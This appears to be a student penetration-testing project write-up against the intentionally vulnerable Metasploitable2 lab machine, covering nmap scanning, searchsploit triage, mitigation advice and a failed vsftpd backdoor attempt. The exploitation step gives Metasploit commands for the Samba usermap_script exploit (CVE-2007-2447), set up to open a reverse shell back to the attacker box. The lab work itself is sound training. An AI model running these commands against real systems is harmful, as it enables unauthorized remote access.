Penetration-Testing-on-Metasploitable2

Internship Project 2 — Penetration Testing on Metasploitable2

• Summary: This project demonstrates a complete penetration testing workflow: reconnaissance, enumeration, exploitation, post-exploitation validation, and mitigation recommendations. The target used is Metasploitable2 and the attack box is Kali Linux.

• Tools: Kali Linux (attacker) Nmap (recon) Metasploit Framework (exploitation) SearchSploit / Exploit-DB (triage)

Steps performed:

1. Scanning: sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x Identified services (examples): vsftpd 2.3.4 (port 21 banner), Samba smbd 3.x (port 445).
2. Enumeration & Triage: searchsploit --nmap scans/target.xml searchsploit samba 3.0.20 Matched services to potential exploits (vsftpd backdoor, Samba username-map).
3. Exploitation

• vsftpd backdoor (CVE-2011-2523) attempted — Nmap banner present but service unresponsive; exploit did not create a session.
• Samba (CVE-2007-2447) exploited successfully: msfconsole use exploit/multi/samba/usermap_script set RHOSTS 192.168.x.x set payload cmd/unix/reverse set LHOST <kali-ip> set LPORT 4444 exploit Obtained interactive shell and validated user context.

4. Post-Exploitation

• Verified system info: id uname -a
• Collected evidence and screenshots.

5. Mitigation Recommendations

• Regular scanning and asset inventory.
• Prompt patching and version upgrades (update Samba).
• Restrict access to critical ports (firewall rules).
• Disable unused services and anonymous access.
• Apply least privilege to shares and accounts.
• Network segmentation and logging/monitoring.
• Incident response planning.

Result Successfully obtained a remote shell via a Samba exploit, documented the attack path, and produced a mitigation plan. Full logs and command outputs are stored in the scans/ folder.